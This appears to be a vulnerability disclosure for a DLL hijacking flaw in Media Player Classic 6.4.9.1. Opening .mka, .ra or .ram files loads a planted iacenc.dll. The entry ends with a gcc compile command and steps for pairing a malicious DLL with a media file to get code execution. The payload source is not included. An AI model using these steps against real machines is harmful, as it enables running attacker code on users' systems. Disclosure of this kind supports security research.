Media Player Classic 6.4.9.1 (iacenc.dll) DLL Hijacking Exploit
Vendor: Gabest
Product Web Page: http://sourceforge.net/projects/guliverkli
Affected Version: 6.4.9.1 (revision 73)
Summary: Media Player Classic (MPC) is a compact media player for
32-bit Microsoft Windows. The application mimics the look and feel
of the old, lightweight Windows Media Player 6.4 but integrates
most options and features found in modern media players. It and
its forks are standard media players in the K-Lite Codec Pack and
the Combined Community Codec Pack.
Desc: Media Player Classic suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local
level. The vulnerable extensions are .mka, .ra and .ram thru iacenc.dll
library.
----
gcc -shared -o iacenc.dll mplayerc.c
Compile and rename to iacenc.dll, create a file test.mka or any of the
above vulnerable extensions and put both files in same dir and execute.
----
Tested on Microsoft Windows XP Professional SP3 (EN)
